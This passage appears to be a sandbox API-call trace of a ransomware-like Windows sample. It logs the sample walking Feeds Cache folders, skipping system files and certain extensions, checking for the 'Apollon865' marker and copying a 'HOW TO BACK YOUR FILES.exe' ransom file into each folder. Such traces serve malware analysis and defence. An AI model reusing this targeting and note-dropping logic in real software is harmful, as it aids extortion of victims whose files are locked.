	[0046.418] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33bd8e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33bd8e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.418] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.418] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.418] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.418] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.418] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0046.418] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.418] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0046.418] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0046.418] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0046.418] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0046.418] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0046.418] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0046.418] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0046.419] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0046.419] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0046.419] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0046.419] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0046.419] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0046.419] lstrlenW (lpString="desktop.ini") returned 11
	[0046.419] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*") returned 76
	[0046.419] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0046.419] lstrlenW (lpString="desktop.ini") returned 11
	[0046.419] lstrlenW (lpString="Apollon865") returned 10
	[0046.419] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0046.419] lstrlenW (lpString=".dll") returned 4
	[0046.419] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0046.419] lstrlenW (lpString=".lnk") returned 4
	[0046.419] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0046.419] lstrlenW (lpString=".ini") returned 4
	[0046.419] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0046.419] lstrlenW (lpString=".sys") returned 4
	[0046.419] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0046.419] lstrlenW (lpString="desktop.ini") returned 11
	[0046.419] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="fwlink[1]" | out: lpString1="fwlink[1]") returned="fwlink[1]"
	[0046.419] lstrlenW (lpString="fwlink[1]") returned 9
	[0046.419] lstrlenW (lpString="Apollon865") returned 10
	[0046.419] lstrlenW (lpString=".dll") returned 4
	[0046.419] lstrcmpiW (lpString1="fwlink[1]", lpString2=".dll") returned 1
	[0046.419] lstrlenW (lpString=".lnk") returned 4
	[0046.419] lstrcmpiW (lpString1="fwlink[1]", lpString2=".lnk") returned 1
	[0046.419] lstrlenW (lpString=".ini") returned 4
	[0046.419] lstrcmpiW (lpString1="fwlink[1]", lpString2=".ini") returned 1
	[0046.420] lstrlenW (lpString=".sys") returned 4
	[0046.420] lstrcmpiW (lpString1="fwlink[1]", lpString2=".sys") returned 1
	[0046.420] lstrlenW (lpString="fwlink[1]") returned 9
	[0046.420] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="ieonline.microsoft[1]" | out: lpString1="ieonline.microsoft[1]") returned="ieonline.microsoft[1]"
	[0046.420] lstrlenW (lpString="ieonline.microsoft[1]") returned 21
	[0046.420] lstrlenW (lpString="Apollon865") returned 10
	[0046.420] lstrcmpiW (lpString1="crosoft[1]", lpString2="Apollon865") returned 1
	[0046.420] lstrlenW (lpString=".dll") returned 4
	[0046.420] lstrcmpiW (lpString1="ieonline.microsoft[1]", lpString2=".dll") returned 1
	[0046.420] lstrlenW (lpString=".lnk") returned 4
	[0046.420] lstrcmpiW (lpString1="ieonline.microsoft[1]", lpString2=".lnk") returned 1
	[0046.420] lstrlenW (lpString=".ini") returned 4
	[0046.420] lstrcmpiW (lpString1="ieonline.microsoft[1]", lpString2=".ini") returned 1
	[0046.420] lstrlenW (lpString=".sys") returned 4
	[0046.420] lstrcmpiW (lpString1="ieonline.microsoft[1]", lpString2=".sys") returned 1
	[0046.420] lstrlenW (lpString="ieonline.microsoft[1]") returned 21
	[0046.420] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ"
	[0046.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0046.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0046.420] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ") returned 74
	[0046.420] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ"
	[0046.420] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.420] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.424] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.424] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33bd8e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33bd8e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.424] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.424] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.424] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.424] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33bd8e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33bd8e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.424] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.424] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.424] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.424] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.424] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0046.424] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.424] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0046.424] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0046.424] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0046.424] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0046.425] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0046.425] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0046.425] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0046.425] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0046.425] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0046.425] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0046.425] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0046.425] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0046.425] lstrlenW (lpString="desktop.ini") returned 11
	[0046.425] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*") returned 76
	[0046.425] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0046.425] lstrlenW (lpString="desktop.ini") returned 11
	[0046.425] lstrlenW (lpString="Apollon865") returned 10
	[0046.425] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0046.425] lstrlenW (lpString=".dll") returned 4
	[0046.425] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0046.425] lstrlenW (lpString=".lnk") returned 4
	[0046.425] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0046.425] lstrlenW (lpString=".ini") returned 4
	[0046.425] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0046.425] lstrlenW (lpString=".sys") returned 4
	[0046.425] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0046.425] lstrlenW (lpString="desktop.ini") returned 11
	[0046.425] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="fwlink[1]" | out: lpString1="fwlink[1]") returned="fwlink[1]"
	[0046.425] lstrlenW (lpString="fwlink[1]") returned 9
	[0046.425] lstrlenW (lpString="Apollon865") returned 10
	[0046.425] lstrlenW (lpString=".dll") returned 4
	[0046.425] lstrcmpiW (lpString1="fwlink[1]", lpString2=".dll") returned 1
	[0046.425] lstrlenW (lpString=".lnk") returned 4
	[0046.425] lstrcmpiW (lpString1="fwlink[1]", lpString2=".lnk") returned 1
	[0046.425] lstrlenW (lpString=".ini") returned 4
	[0046.426] lstrcmpiW (lpString1="fwlink[1]", lpString2=".ini") returned 1
	[0046.426] lstrlenW (lpString=".sys") returned 4
	[0046.426] lstrcmpiW (lpString1="fwlink[1]", lpString2=".sys") returned 1
	[0046.426] lstrlenW (lpString="fwlink[1]") returned 9
	[0046.426] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7"
	[0046.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0046.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0046.426] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7") returned 74
	[0046.426] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7"
	[0046.426] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.426] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.432] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.432] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33bfeff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33bfeff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.433] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.433] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.433] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.433] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33bfeff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33bfeff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.433] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.433] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.433] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.433] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.433] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0046.433] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.433] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0046.433] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0046.433] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0046.433] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0046.433] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0046.433] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0046.433] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0046.433] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0046.433] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0046.433] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0046.433] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0046.433] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0046.433] lstrlenW (lpString="desktop.ini") returned 11
	[0046.433] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*") returned 76
	[0046.433] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0046.433] lstrlenW (lpString="desktop.ini") returned 11
	[0046.433] lstrlenW (lpString="Apollon865") returned 10
	[0046.433] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0046.433] lstrlenW (lpString=".dll") returned 4
	[0046.433] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0046.434] lstrlenW (lpString=".lnk") returned 4
	[0046.434] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0046.434] lstrlenW (lpString=".ini") returned 4
	[0046.434] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0046.434] lstrlenW (lpString=".sys") returned 4
	[0046.434] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0046.434] lstrlenW (lpString="desktop.ini") returned 11
	[0046.434] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="fwlink[1]" | out: lpString1="fwlink[1]") returned="fwlink[1]"
	[0046.434] lstrlenW (lpString="fwlink[1]") returned 9
	[0046.434] lstrlenW (lpString="Apollon865") returned 10
	[0046.434] lstrlenW (lpString=".dll") returned 4
	[0046.434] lstrcmpiW (lpString1="fwlink[1]", lpString2=".dll") returned 1
	[0046.434] lstrlenW (lpString=".lnk") returned 4
	[0046.434] lstrcmpiW (lpString1="fwlink[1]", lpString2=".lnk") returned 1
	[0046.434] lstrlenW (lpString=".ini") returned 4
	[0046.434] lstrcmpiW (lpString1="fwlink[1]", lpString2=".ini") returned 1
	[0046.434] lstrlenW (lpString=".sys") returned 4
	[0046.434] lstrcmpiW (lpString1="fwlink[1]", lpString2=".sys") returned 1
	[0046.434] lstrlenW (lpString="fwlink[1]") returned 9
	[0046.434] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR"
	[0046.434] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d28 | out: hHeap=0x580000) returned 1
	[0046.434] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0046.434] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR") returned 74
	[0046.434] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR"
	[0046.434] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.434] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.439] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.439] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33bfeff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33bfeff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.439] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.440] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.440] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.440] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33bfeff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33bfeff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.440] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.440] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.440] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.440] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.440] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0046.440] lstrlenW (lpString="desktop.ini") returned 11
	[0046.440] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*") returned 76
	[0046.440] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0046.440] lstrlenW (lpString="desktop.ini") returned 11
	[0046.440] lstrlenW (lpString="Apollon865") returned 10
	[0046.440] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0046.440] lstrlenW (lpString=".dll") returned 4
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0046.440] lstrlenW (lpString=".lnk") returned 4
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0046.440] lstrlenW (lpString=".ini") returned 4
	[0046.440] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0046.440] lstrlenW (lpString=".sys") returned 4
	[0046.441] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0046.441] lstrlenW (lpString="desktop.ini") returned 11
	[0046.441] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="fwlink[1]" | out: lpString1="fwlink[1]") returned="fwlink[1]"
	[0046.441] lstrlenW (lpString="fwlink[1]") returned 9
	[0046.441] lstrlenW (lpString="Apollon865") returned 10
	[0046.441] lstrlenW (lpString=".dll") returned 4
	[0046.441] lstrcmpiW (lpString1="fwlink[1]", lpString2=".dll") returned 1
	[0046.441] lstrlenW (lpString=".lnk") returned 4
	[0046.441] lstrcmpiW (lpString1="fwlink[1]", lpString2=".lnk") returned 1
	[0046.441] lstrlenW (lpString=".ini") returned 4
	[0046.441] lstrcmpiW (lpString1="fwlink[1]", lpString2=".ini") returned 1
	[0046.441] lstrlenW (lpString=".sys") returned 4
